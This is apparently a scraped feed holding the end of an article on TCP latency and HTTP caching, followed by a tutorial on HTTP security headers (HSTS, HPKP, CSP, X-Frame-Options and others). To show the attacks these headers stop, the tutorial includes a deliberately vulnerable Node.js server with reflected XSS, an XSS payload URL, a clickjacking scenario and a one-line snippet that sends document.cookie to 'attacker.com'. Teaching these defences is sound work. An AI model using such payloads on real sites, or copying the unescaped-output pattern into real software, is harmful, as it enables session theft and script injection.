<p>In order to guarantee delivery order, TCP marks each byte of applications data with a unique identifier called a sequence number (SYN). The problem is that this number must be chosen randomly <a target="_blank" href="https://tools.ietf.org/html/rfc7414#section-3.7">for security reasons</a>.</p>
<p>Therefore, if a client is asking for a resource, it cannot do so without signaling to the server its initial sequence number (ISN). Then it must wait before the server acknowledges good reception of this segment, before being able to send application data.</p>
<p>Well, unless the request is secure, which it probably is since <a target="_blank" href="https://httparchive.org/reports/state-of-the-web#pctHttps">80%</a> of HTTP requests these days are actually secure HTTPS requests. These are normal HTTP requests, except that they are encrypted in order to guarantee (at least, up to this day) confidentiality, integrity, and authenticity.</p>
<p>To accomplish that, the client and servers must now agree on a TLS protocol version, select cryptographic functions, authenticate each other by exchanging and validating x509 certificates… for no less than <a target="_blank" href="https://tools.ietf.org/html/rfc8446#section-4">~10</a> protocol messages that can be packed into a minimum of 2 TCP exchanges, and as many round trips.</p>
<p>Once the connection is setup and secure, then TCP can finally start sending segments carrying our application data, such as our HTTP request. Unfortunately for us, TCP prevents us from sending all our data at once in one batch of multiple segments.</p>
<p>This restriction is a necessary evil, so that we don’t accidentally cause a buffer overflow on the receiver. When an application that initiated a connection asks the underlying TCP socket for data, TCP will refuse to give any chunk that would be incomplete or made of unordered smaller chunks. Hence, the need for a buffer.</p>
<p>The way it works is that TCP sends N segments in the first batch, and, if all segments were received by the server, will send twice as many segments (2N) in the next batch, and so on, leading to an exponential growth. This mechanism is commonly known as the <a target="_blank" href="https://hpbn.co/building-blocks-of-tcp/#slow-start">slow-start</a> algorithm and is one of the two only possible modes in which TCP operates, along with congestion avoidance.</p>
<p>We won’t discuss congestion avoidance in this series. But if there was only one thing to be aware of, it would be that once TCP senses that the underlying network may be congested, the protocol starts acting much more conservatively. Thereby extending even more the time required to transmit data.</p>
<h4 id="heading-the-consequence">The consequence</h4>
<p>With all these steps in mind, let us make a simple calculation to realize something important. At the beginnings of the web, the N parameter (known as the congestion window in TCP’s terms) was equal to 1. With such a window and an average resource of 20kB, we can determine how many round trips are necessary for an average request to be fully transmitted.</p>
<p>Indeed, under normal circumstances, the maximum segment size (<a target="_blank" href="https://tools.ietf.org/html/rfc879">MSS</a>) is 1460 bytes. That’s equivalent to 20 000 / 1460 = 14 TCP segments. When dispatched according to the exponential scheme we just described, this is equivalent to 4 round-trips to the server.</p>
<p>Now, if we approximate a UDP-based DNS request to a TCP-based request to the origin servers, we can estimate a total number of round-trips (RT) that require the booting of a modern web application:</p>
<ul>
<li><p>DNS request: ~1 RT</p>
</li>
<li><p>TCP connexion setup: 1 RT</p>
</li>
<li><p>SSL handshake: 2 RT</p>
</li>
<li><p>Resource downloading: 4 RTT</p>
</li>
<li><p><strong>Total: 8 RT</strong></p>
</li>
</ul>
<p>75 requests that all require 8 round-trips each result in a total of 600 rounds trips to the server. A typical RTT between Europe and the US is 50ms, which gives us the amount of time that information spend flowing on the Internet when we request a typical web application: 30 seconds. And it could get worse.</p>
<p>The Amazon homepage for instance, a typical <a target="_blank" href="https://blog.octo.com/a-la-decouverte-des-architectures-du-front-2-4-les-multiple-page-applications/">MPA</a>, currently weighs 6.3Mb and requires 339 requests. That would translate into a salient page loading time of 2 minutes and 15 seconds. As an exercise, try do the same for the Facebook Messenger homepage, a typical <a target="_blank" href="https://blog.octo.com/a-la-decouverte-des-architectures-du-front-3-4-les-single-page-applications/">SPA</a>.</p>
<p>How to interpret this number? This would be the actual page load if every single resource had to be downloaded sequentially, TCP initial congestion was down to its minimum value of 1, and if DNS requests, TCP and SSL handshakes had to be done all over again every time. The web would be a much different place for sure.</p>
<p>Fortunately, many improvements have been made over the years. DNS resolutions are cached at different places, TLS handshakes results are reused.</p>
<p>TCP connections were allowed <a target="_blank" href="https://tools.ietf.org/html/rfc2616#page-44">to be persisted</a> between multiple requests, avoiding the cost of both connection setup and slow-start on each request.</p>
<p>TCP’s initial congestion window was lifted up twice, from 1 to <a target="_blank" href="https://tools.ietf.org/html/rfc3390">4</a> and more recently, to <a target="_blank" href="https://tools.ietf.org/html/rfc6928">10</a>. Browsers started to open up parallel connections (6) as well as some really <a target="_blank" href="https://www.igvita.com/posa/high-performance-networking-in-google-chrome/#predictor">advanced strategies</a> to accelerate page load times.</p>
<p>Some <a target="_blank" href="https://tools.ietf.org/html/rfc7413">proposals</a> tried to break free from the connection setup, although none of them are widely implemented.</p>
<p>Some CDNs even acquired <a target="_blank" href="https://developer.akamai.com/legacy/learn/Optimization/TCP_Optimizations.html">patented algorithms</a> to tune some of TCP aspects such as congestion avoidance, always for the same reason: speed up delivery.</p>
<p>What consequence can we draw from all these round-trips between browser and origin servers?</p>
<p><strong>That bandwidth stopped being the bottleneck</strong> <a target="_blank" href="https://docs.google.com/a/chromium.org/viewer?a=v&amp;pid=sites&amp;srcid=Y2hyb21pdW0ub3JnfGRldnxneDoxMzcyOWI1N2I4YzI3NzE2"><strong>many years ago</strong></a><strong>.</strong></p>
<p>This is somewhat counter-intuitive to most of us, because bandwidth has embodied the browsing speed for years. After all, it has exactly the dimension of a speed, bits by unit of time, and it is the only thing ISPs advertise when trying to lure us into becoming their customers.</p>
<p>Besides, browsing on 3G is clearly slower than on 4G. But that is because the threshold at which bandwidth stops being the bottleneck is 5 Mb/s, and 3G maxes out at 2 Mb/s in ideal conditions!</p>
<p>And if wireless technologies such as Wi-Fi or 5G are indeed slower than their wired counterpart of some sort, it is also because in wireless systems, packet drops caused by interferences are commonplace thereby making latency much higher and volatile.</p>
<p>The latest version of the HTTP protocol, HTTP/2, codenamed H2, was a continuation of the SPDY protocol which itself was initially designed following this very observation: bandwidth doesn’t matter much anymore. Latency does. But latency is fundamentally a function of two things: the speed of light in optic fiber, and the distance between clients and servers.</p>
<p><a target="_blank" href="https://www.extremetech.com/computing/151498-researchers-create-fiber-network-that-operates-at-99-7-speed-of-light-smashes-speed-and-latency-records">Active research</a> to increase the speed of light in optic fiber has already been conducted, but it only got us so far. In most deployments, light already travels at 60% of its maximum theoretical limit.</p>
<p>But even if we were to reach 99%, that would only have a significant impact on your website if it’s already loading in a few seconds at most. If it’s loading in more than 5 seconds, even though the performance increase would be noticeable, it would still feel slow.</p>
<p>Therefore we are left with one obvious choice: <strong>reducing the distance</strong>.</p>
<p>And the only way to accomplish that is by leveraging browsers and content delivery networks with HTTP caching.</p>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Along this article, we have argued that HTTP caching is one if not the most effective way to improve the performance of your web application. And as many studies keep pointing out, page load time is an important subject that can be directly translated into user satisfaction and, ultimately, profitability.</p>
<p>We have seen that caching can happen pretty much everywhere, from the browser, to CDN, to private proxy servers sitting just in front of your origin servers. But also that, unlike many performance decisions, it can be completely externalized outside the main codebase, which is both valuable and convenient.</p>
<p>Finally, we took a closer look at the anatomy of a modern web application, to understand why latency is the new bottleneck, making caching relevant today and for years to come, even with the <a target="_blank" href="https://httparchive.org/reports/state-of-the-web#h2">steady deployment of H2</a>.</p>
<p>In the next article of this series, we will deep dive into the <em>How.</em></p>
<p>In a way, this first part was merely a warm-up! We’ll learn how all of this actually works: resource freshness, revalidation, representations, cache-control headers… and much more!</p>
<p>Stay tuned!</p>
<h4 id="heading-to-go-further">To go further:</h4>
<p>Ilya Grigorik High Performance Browser Applications (a must read):<br><a target="_blank" href="https://hpbn.co/">https://hpbn.co/</a></p>
<p>Mike Belshe paper that served as a basis for the SPDY protocol: <a target="_blank" href="https://docs.google.com/a/chromium.org/viewer?a=v&amp;pid=sites&amp;srcid=Y2hyb21pdW0ub3JnfGRldnxneDoxMzcyOWI1N2I4YzI3NzE2">https://docs.google.com/a/chromium.org/viewer?a=v&amp;pid=sites&amp;srcid=Y2hyb21pdW0ub3JnfGRldnxneDoxMzcyOWI1N2I4YzI3NzE2</a></p>
<p>Active CDN blogs with tons of great articles:<br><a target="_blank" href="https://www.fastly.com/blog">https://www.fastly.com/blog</a><br>https://blogs.akamai.com/web-performance/</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Secure your web application with these HTTP headers ]]>
                </title>
                <description>
                    <![CDATA[ By Alex Nadalin This is part 3 of a series on web security: part 2 was “Web Security: an introduction to HTTP” As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the resp... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/secure-your-web-application-with-these-http-headers-fd66e0367628/</link>
                <guid isPermaLink="false">66c35e64a365c359945c9b4e</guid>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 26 Sep 2018 20:51:29 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*w0YcpMhPGBRBeQ25G9g-iA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Alex Nadalin</p>
<p><em>This is part 3 of a series on web security: part 2 was “<a target="_blank" href="https://medium.freecodecamp.org/web-security-https-perspective-5fa07140f9b3">Web Security: an introduction to HTTP</a>”</em></p>
<p>As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the response, besides sending the content that the client requested. Clients are then allowed to specify how a particular resource should be read, cached or secured.</p>
<p>There’s currently a very large spectrum of security-related headers that have been implemented by browsers in order to make it harder for attackers to take advantage of vulnerabilities. The next paragraphs try to summarize each and every one of them by explaining how they’re used, what kind of attacks they prevent, and a bit of history behind each header.</p>
<h4 id="heading-http-strict-transport-security-hsts">HTTP Strict Transport Security (HSTS)</h4>
<p>Since late 2012, HTTPS-everywhere believers have found it easier to force a client to always use the secure version of the HTTP protocol, thanks to <em>HTTP Strict Transport Security</em>: a very simple <code>Strict-Transport-Security: max-age=3600</code> will tell the browser that for the next hour (3600 seconds) it should not interact with the application with insecure protocols.</p>
<p>When a user tries to access an application secured by HSTS through HTTP, the browser will simply refuse to go ahead, automatically converting <code>http://</code> URLs to <code>[https://](https://.)</code><a target="_blank" href="https://.">.</a></p>
<p>You can test this locally with the code at <a target="_blank" href="https://github.com/odino/wasec/tree/master/hsts">github.com/odino/wasec/tree/master/hsts</a>. You will need to follow the instructions in the README (they involve installing a trusted SSL certificate for <code>localhost</code> on your machine, through the amazing <a target="_blank" href="https://github.com/FiloSottile/mkcert">mkcert</a> tool) and then try opening <code>https://localhost:7889</code>.</p>
<p>There are 2 servers in this example, an HTTPS one listening on <code>7889</code>, and an HTTP one on port <code>7888</code>. When you access the HTTPS server, it will always try to redirect you to the HTTP version, which will work since there is no HSTS policy on the HTTPS server. If you instead add the <code>hsts=on</code> parameter in your URL, the browser will forcefully convert the link in the redirect to its <code>https://</code> version. Since the server at <code>7888</code> is http-only, you will end up staring at a page that looks more or less like this. ?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/h0jofhckn9GcLIp1BIzn5-uJsXpqaXvn9sHm" alt="Image" width="689" height="370" loading="lazy"></p>
<p>You might be wondering what happens the first time a user visits your website, as there is no HSTS policy defined beforehand: attackers could potentially trick the user to the <code>http://</code> version of your website and perpetrate their attack there, so there’s still room for problems. That’s a valid concern, as HSTS is a <em>trust on first use</em> mechanism. What it tries to do is to make sure that, once you’ve visited a website, the browser knows that subsequent interaction must use HTTPS.</p>
<p>A way around this shortcoming would be to maintain a huge database of websites that enforce HSTS, something that Chrome does through <a target="_blank" href="https://hstspreload.org/">hstspreload.org</a>. You must first set your policy, then visit the website and check whether it’s eligible to be added to the database. For example, we can see Facebook made the list.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/gABWk48lNT2eTc9lJDpZYJjWGsrE7gWAw4gB" alt="Image" width="800" height="193" loading="lazy"></p>
<p>By submitting your website to this list, you can tell browsers in advance that your site uses HSTS, so that even the first interaction between clients and your server will be over a secure channel. But this comes at a cost, as you really need to commit to HSTS. If, by any chance, you’d like your website to be removed from the list that’s no easy task for browser vendors:</p>
<blockquote>
<p>Be aware that inclusion in the preload list cannot easily be undone.</p>
<p>Domains can be removed, but it takes months for a change to reach users with a Chrome update and we cannot make guarantees about other browsers. Don’t request inclusion unless you’re sure that you can support HTTPS for your entire site and all its subdomains for the long term.</p>
<p>Source: <a target="_blank" href="https://hstspreload.org/">https://hstspreload.org/</a></p>
</blockquote>
<p>This happens because the vendor cannot guarantee that all users will be on the latest version of their browser, with your site removed from the list. Think carefully, and make a decision based on your degree of confidence in HSTS and your ability to support it on the long run.</p>
<h3 id="heading-http-public-key-pinning-hpkp">HTTP Public Key Pinning (HPKP)</h3>
<p>HTTP Public Key Pinning is a mechanism that allows us to advertise to the browser which SSL certificates to expect whenever it connects to our servers. It is a <em>trust on first use</em> header, just like HSTS, meaning that, once the client connects to our server, it will store the certificate’s info for subsequent interactions. If, at any point in time, the client detects that another certificate is being used by the server, it will politely refuse to connect, rendering <em>man in the middle</em> (MITM) attacks very hard to pull off.</p>
<p>This is how a HPKP policy looks like:</p>
<pre><code>Public-Key-Pins:  pin-sha256=<span class="hljs-string">"9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="</span>;  pin-sha256=<span class="hljs-string">"cwi87y89f4fh4fihi9fhi4hvhuh3du3="</span>;  max-age=<span class="hljs-number">3600</span>; includeSubDomains;  report-uri=<span class="hljs-string">"https://pkpviolations.example.org/collect"</span>
</code></pre><p>The header advertises what certificates the server will use (in this case it’s two of them) using a hash of the certificates, and includes additional information such as the time-to-live of this directive (<code>max-age=3600</code>), and a few other details. Sadly, there’s no point in digging deeper to understand what we can do with public key pinning, as <a target="_blank" href="https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ">this feature is being deprecated by Chrome</a> - a signal that its adoption is destined to plummet very soon.</p>
<p>Chrome’s decision is not irrational, but simply a consequence of the risks associated with public key pinning. If you lose your certificate, or simply make a mistake while testing, your website will be inaccessible to users that have visited the website earlier (for the duration of the <code>max-age</code> directive, which is typically weeks or months).</p>
<p>As a result of these potentially catastrophic consequences, adoption of HPKP has been extremely low, and there have been incidents where <a target="_blank" href="https://www.smashingmagazine.com/be-afraid-of-public-key-pinning/">big-time websites have been unavailable</a> because of a misconfiguration. All considered, Chrome decided users were better off without the protection offered by HPKP - and <a target="_blank" href="https://scotthelme.co.uk/im-giving-up-on-hpkp/">security researchers aren’t entirely against this decision</a>.</p>
<h3 id="heading-expect-ct">Expect-CT</h3>
<p>While HPKP has been deprecated, a new header stepped in to prevent fraudulent SSL certificates from being served to clients: <code>Expect-CT</code>.</p>
<p>The goal of this header is to inform the browser that it should perform additional “background checks” to ensure the certificate is genuine: when a server uses the <code>Expect-CT</code> header, it is fundamentally requesting the client to verify that the certificates being used are present in public Certificate Transparency (CT) logs.</p>
<p>The Certificate Transparency initiative is an effort led by Google in order to provide:</p>
<blockquote>
<p>An open framework for monitoring and auditing SSL certificates in nearly real time.</p>
<p>Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.</p>
<p><em>Source: <a target="_blank" href="https://www.certificate-transparency.org/">https://www.certificate-transparency.org/</a></em></p>
</blockquote>
<p>The header takes this form:</p>
<pre><code>Expect-CT: max-age=<span class="hljs-number">3600</span>, enforce, report-uri=<span class="hljs-string">"https://ct.example.com/report"</span>
</code></pre><p>In this example, the server is asking the browser to:</p>
<ul>
<li>enable CT verification for the current app for a period of 1 hour (3600 seconds)</li>
<li><code>enforce</code> this policy and prevent access to the app if a violation occurs</li>
<li>send a report to the given URL if a violation occurs</li>
</ul>
<p>The Certificate Transparency initiative’s goal is to detect mis-issued or malicious certificates (and rogue Certificate Authorities) earlier, faster, and more precisely than any other method used before.</p>
<p>By opting-in using the <code>Expect-CT</code> header, you can take advantage of this initiative to improve your app’s security posture.</p>
<h3 id="heading-x-frame-options">X-Frame-Options</h3>
<p>Imagine seeing a web page such as this popping in front of your screen:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/GT-HQh6-8AzhaMnBWWxnvxei9WM8gHDLXJ5r" alt="Image" width="800" height="354" loading="lazy"></p>
<p>As soon as you click on the link, you realize that all the money in your bank account is gone. What happened?</p>
<p>You were a victim of a <em>clickjacking</em> attack.</p>
<p>An attacker directed you to their website, which displays a very attractive link to click. Unfortunately, he also embedded in the page an iframe from <code>your-bank.com/transfer?amount=-1&amp;[[attacker@gmail.com]](https://odino.org/cdn-cgi/l/email-protection)</code> but hid it by setting it’s opacity to 0%. What then happened is that thought of clicking on the original page, trying to win a brand-new hummer, but instead the browser captured a click on the iframe, a dangerous click that confirmed the transfer of money.</p>
<p>Most banking systems require you to specify a one-time PIN code to confirm transactions, but your bank didn’t catch up with times and all of your money is gone.</p>
<p>The example is pretty extreme but should let you understand what could be the consequences of a <a target="_blank" href="https://www.troyhunt.com/clickjack-attack-hidden-threat-right-in/">clickjacking attack</a>. The user intends to click on a particular link, while the browser will trigger a click on the “invisible” page that’s been embedded as an iframe.</p>
<p>I have included an example of this vulnerability at <a target="_blank" href="https://github.com/odino/wasec/tree/master/clickjacking">github.com/odino/wasec/tree/master/clickjacking</a>. If you run the example and try clicking on the “appealing” link, you will see the actual click is intercepted by the iframe, which increases its opacity so that’s easier for you to spot the problem. The example should be accessible at <code>[http://localhost:7888](http://localhost:7888:)</code>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/7lE-ERJAYircB6-ioJkLr7uqdK8dWChvEe0R" alt="Image" width="800" height="313" loading="lazy"></p>
<p>Luckily, browsers have come up with a simple solution to the problem: <code>X-Frame-Options</code> (XFO) which lets you decide whether your app can be embedded as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.</p>
<p>The way it works is, when a browser sees an iframe, it loads it and verifies that its XFO allows its inclusion in the current page before rendering it.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/ekgfyt0xskpEn2drvtGwygk5HJlENW-sNkFc" alt="Image" width="800" height="200" loading="lazy"></p>
<p>The supported values are:</p>
<ul>
<li><code>DENY</code>: this web page cannot be embedded anywhere. This is the highest level of protection as it doesn’t allow anyone to embed our content.</li>
<li><code>SAMEORIGIN</code>: only pages from the same domain as the current one can embed this page. This means that <code>example.com/embedder</code> can load <code>example.com/embedded</code> so long as its policy is set to <code>SAMEORIGIN</code>. This is a more relaxed policy that allows owners of a particular website to embed their own pages across their application.</li>
<li><code>ALLOW-FROM uri</code>: embedding is allowed from the specified URI. We could, for example, let an external, authorized website embed our content by using <code>ALLOW-FROM https://external.com</code>. This is generally used when you intend to allow a 3rd party to embed your content through an iframe</li>
</ul>
<p>An example HTTP response that includes the strictest XFO policy possible looks like:</p>
<pre><code>HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OKContent-Type: application/jsonX-Frame-Options: DENY
</code></pre><pre><code>...
</code></pre><p>In order to showcase how browsers behave when XFO is enabled, we can simply change the URL of our example to <code>http://localhost:7888/?xfo=on</code>. The <code>xfo=on</code> parameter tells the server to include <code>X-Frame-Options: deny</code> in the response, and we can see how the browser restricts access to the iframe:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/oO4vlTWPKjSI09UfPXsHKEYy1S3tHFjSmxMA" alt="Image" width="800" height="363" loading="lazy"></p>
<p>XFO was considered the best way to prevent frame-based clickjacking attacks until another header came into play years later, Content Security Policy or CSP for short.</p>
<h3 id="heading-content-security-policy-csp">Content Security Policy (CSP)</h3>
<p>The <code>Content-Security-Policy</code> header, often abbreviated to CSP, provides a next-generation utility belt for preventing a plethora of attacks, ranging from XSS (Cross-site Scripting) to clickjacking.</p>
<p>To understand how CSP helps us, we should first think of an attack vector. Let’s say we just built our own Google Search, a simple input text with a submit button.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/QzoYfkoOM4nUFKHNyrJgxlplIDBZCE0iMxWw" alt="Image" width="630" height="306" loading="lazy"></p>
<p>This web application does nothing magical. It just,</p>
<ul>
<li>displays a form</li>
<li>lets the user execute a search</li>
<li>displays the search results alongside with the keyword the user searched for</li>
</ul>
<p>When we execute a simple search, this is what the application returns:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/lukdqQSHBMXR-PY0IvpE9b2Oz3pWHYnzmvbR" alt="Image" width="425" height="472" loading="lazy"></p>
<p>Amazing! Our application incredibly understood our search and found a related image. If we dig deeper in the source code, available at <a target="_blank" href="https://github.com/odino/wasec/tree/master/xss">github.com/odino/wasec/tree/master/xss</a>, we will soon realize that the application presents a security issue, as whatever keyword the user searches for is directly printed in the HTML response served to the client:</p>
<pre><code><span class="hljs-keyword">var</span> qs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'querystring'</span>)<span class="hljs-keyword">var</span> url = <span class="hljs-built_in">require</span>(<span class="hljs-string">'url'</span>)<span class="hljs-keyword">var</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>)
</code></pre><pre><code><span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>).createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {  <span class="hljs-keyword">let</span> query = qs.parse(url.parse(req.url).query)  <span class="hljs-keyword">let</span> keyword = query.search || <span class="hljs-string">''</span>  <span class="hljs-keyword">let</span> results = keyword ? <span class="hljs-string">`You searched for "<span class="hljs-subst">${keyword}</span>", we found:&lt;/br&gt;&amp;lt;img src="http://placekitten.com/200/300" /&gt;`</span> : <span class="hljs-string">`Try searching...`</span>
</code></pre><pre><code>res.end(fs.readFileSync(__dirname + <span class="hljs-string">'/index.html'</span>).toString().replace(<span class="hljs-string">'__KEYWORD__'</span>, keyword).replace(<span class="hljs-string">'__RESULTS__'</span>, results))}).listen(<span class="hljs-number">7888</span>)
</code></pre><pre><code>&lt;html&gt;  <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Search The Web<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>    <span class="hljs-tag">&lt;<span class="hljs-name">form</span>&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"search"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"__KEYWORD__"</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> /&gt;</span>    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"results"</span>&gt;</span>      __RESULTS__    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span></span>&lt;/html&gt;
</code></pre><p>This presents a nasty consequence. An attacker can craft a specific link that executes arbitrary JavaScript within the victims browser.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/VtzL41BTMMRCr1cRuiR7dNE1FJXnulUnekgM" alt="Image" width="800" height="410" loading="lazy"></p>
<p>If you have the time and patience to run the example locally, you will be able to quickly understand the power of CSP. I’ve added a query string parameter that turns CSP on, so we can try navigating to a malicious URL with CSP turned on:</p>
<pre><code>http:<span class="hljs-comment">//localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&amp;csp=on</span>
</code></pre><p><img src="https://cdn-media-1.freecodecamp.org/images/qBt18fLr3rU0wQJtlXU5jUf1OslyIGzYcowX" alt="Image" width="800" height="253" loading="lazy"></p>
<p>As you see in the example above, we have told the browser that our CSP policy only allows scripts included from the same origin of the current URL, which we can easily verify by curling the URL and viewing the response header:</p>
<pre><code>$ curl -I <span class="hljs-string">"http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&amp;csp=on"</span>
</code></pre><pre><code>HTTP/<span class="hljs-number">1.1</span> <span class="hljs-number">200</span> OKX-XSS-Protection: <span class="hljs-number">0</span>Content-Security-Policy: <span class="hljs-keyword">default</span>-src <span class="hljs-string">'self'</span><span class="hljs-built_in">Date</span>: Sat, <span class="hljs-number">11</span> Aug <span class="hljs-number">2018</span> <span class="hljs-number">10</span>:<span class="hljs-number">46</span>:<span class="hljs-number">27</span> GMTConnection: keep-alive
</code></pre><p>Since the XSS attack was perpetrated through an <em>inline script</em> (a script directly embedded in the HTML content), the browser politely refused to execute it, keeping our user safe. Imagine if, instead of simply displaying an alert dialog, the attacker would have set up a redirect to its own domain, through some JavaScript code that could look like:</p>
<pre><code><span class="hljs-built_in">window</span>.location = <span class="hljs-string">`attacker.com/<span class="hljs-subst">${<span class="hljs-built_in">document</span>.cookie}</span>`</span>
</code></pre><p>They would have been able to steal all of the user’s cookies, which might contain highly sensitive data (more on this in the next article).</p>
<p>By now, it should be clear how CSP helps us prevent a range of attacks on web applications. You define a policy and the browser will strictly adhere to it, refusing to run resources that would violate the policy.</p>
<p>An interesting variation of CSP is the <em>report-only</em> mode. Instead of using the <code>Content-Security-Policy</code> header, you can first test the impact of CSP on your website by telling the browser to simply report errors, without blocking script execution and so on, by using the <code>Content-Security-Policy-Report-Only</code> header.</p>
<p>Reporting will allow you to understand what breaking changes the CSP policy you’d like to roll out might cause, and fix them accordingly. We can even specify a report URL and the browser will send us a report. Here’s a full example of a report-only policy:</p>
<pre><code>Content-Security-Policy: <span class="hljs-keyword">default</span>-src <span class="hljs-string">'self'</span>; report-uri http:<span class="hljs-comment">//cspviolations.example.com/collector</span>
</code></pre><p>CSP policies can be a bit complex on their own, such as in the following example:</p>
<pre><code>Content-Security-Policy: <span class="hljs-keyword">default</span>-src <span class="hljs-string">'self'</span>; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
</code></pre><p>This policy defines the following rules:</p>
<ul>
<li>executable scripts (eg. JavaScript) can only be loaded from <code>scripts.example.com</code></li>
<li>images may be loaded from any origin (<code>img-src: *</code>)</li>
<li>video or audio content can be loaded from two origins: <code>medias.example.com</code> and <code>medias.legacy.example.com</code></li>
</ul>
<p>As you can see, policies can become lengthy, and if we want to ensure the highest protection for our users this can become quite a tedious process. Nevertheless, writing a comprehensive CSP policy is an important step towards adding an additional layer of security to our web applications.</p>
<p>For more information around CSP I would recommend a deep dive at <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">developer.mozilla.org/en-US/docs/Web/HTTP/CSP</a>.</p>
<h3 id="heading-x-xss-protection">X-XSS-Protection</h3>
<p>Although superseded by CSP, the <code>X-XSS-Protection</code> header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that don’t fully support CSP. This header is not supported by Firefox.</p>
<p>Its syntax is very similar to what we’ve just seen:</p>
<pre><code>X-XSS-Protection: <span class="hljs-number">1</span>; report=http:<span class="hljs-comment">//xssviolations.example.com/collector</span>
</code></pre><p>Reflected XSS is the most common type of attack, where an unsanitized input gets printed by the server without any validation, and it’s where this header truly shines. If you want to see this yourself, I would recommend to try out the example at <a target="_blank" href="https://github.com/odino/wasec/tree/master/xss">github.com/odino/wasec/tree/master/xss</a> as, by appending <code>xss=on</code> to the URL, it shows what a browser does when XSS protection is turned on. If we enter a malicious string in our search box, such as <code>&lt;script&gt;alert('hello')&lt;</code>;/script&gt;, the browser will politely refuse to execute the script, and explain the reasoning behind its decision:</p>
<pre><code>The XSS Auditor refused to execute a script <span class="hljs-keyword">in</span><span class="hljs-string">'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&amp;xss=on'</span>because its source code was found within the request.The server sent an <span class="hljs-string">'X-XSS-Protection'</span> header requesting <span class="hljs-built_in">this</span> behavior.
</code></pre><p>Even more interesting is Chrome’s default behavior when the webpage does not specify any CSP or XSS policy, a scenario we can test by adding the <code>xss=off</code> parameter to our URL (<code>http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&amp;xss=off</code>):</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/RJc3aC5e-RJBFBe3taR8eAjIeNZ6g7qrP9KW" alt="Image" width="702" height="403" loading="lazy"></p>
<p>Amazing, Chrome’s cautious enough that it will prevent the page from rendering, making reflected XSS very difficult to pull off. It’s impressive to see how far browsers have come.</p>
<h3 id="heading-feature-policy">Feature policy</h3>
<p>In July 2018, security researcher <a target="_blank" href="https://scotthelme.co.uk/">Scott Helme</a> published a very interesting <a target="_blank" href="https://scotthelme.co.uk/a-new-security-header-feature-policy/">blog post</a> detailing a new security header in the making: <code>Feature-Policy</code>.</p>
<p>Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header lets us define whether a specific browser feature is enabled within the current page. With a syntax very similar to CSP, we should have no issue understanding what a feature policy such as the following one means:</p>
<pre><code>Feature-Policy: vibrate <span class="hljs-string">'self'</span>; push *; camera <span class="hljs-string">'none'</span>
</code></pre><p>If we still have a few doubts about how this policy impacts the browser APIs available to the page, we can simply dissect it:</p>
<ul>
<li><code>vibrate 'self'</code>: this will allow the current page to use the vibration API and any nested browsing contexts (iframes) on the same origin</li>
<li><code>push *</code>: the current page and any iframe can use the push notification API</li>
<li><code>camera 'none'</code>: access to the camera API is denied to the current page and any nested context (iframes)</li>
</ul>
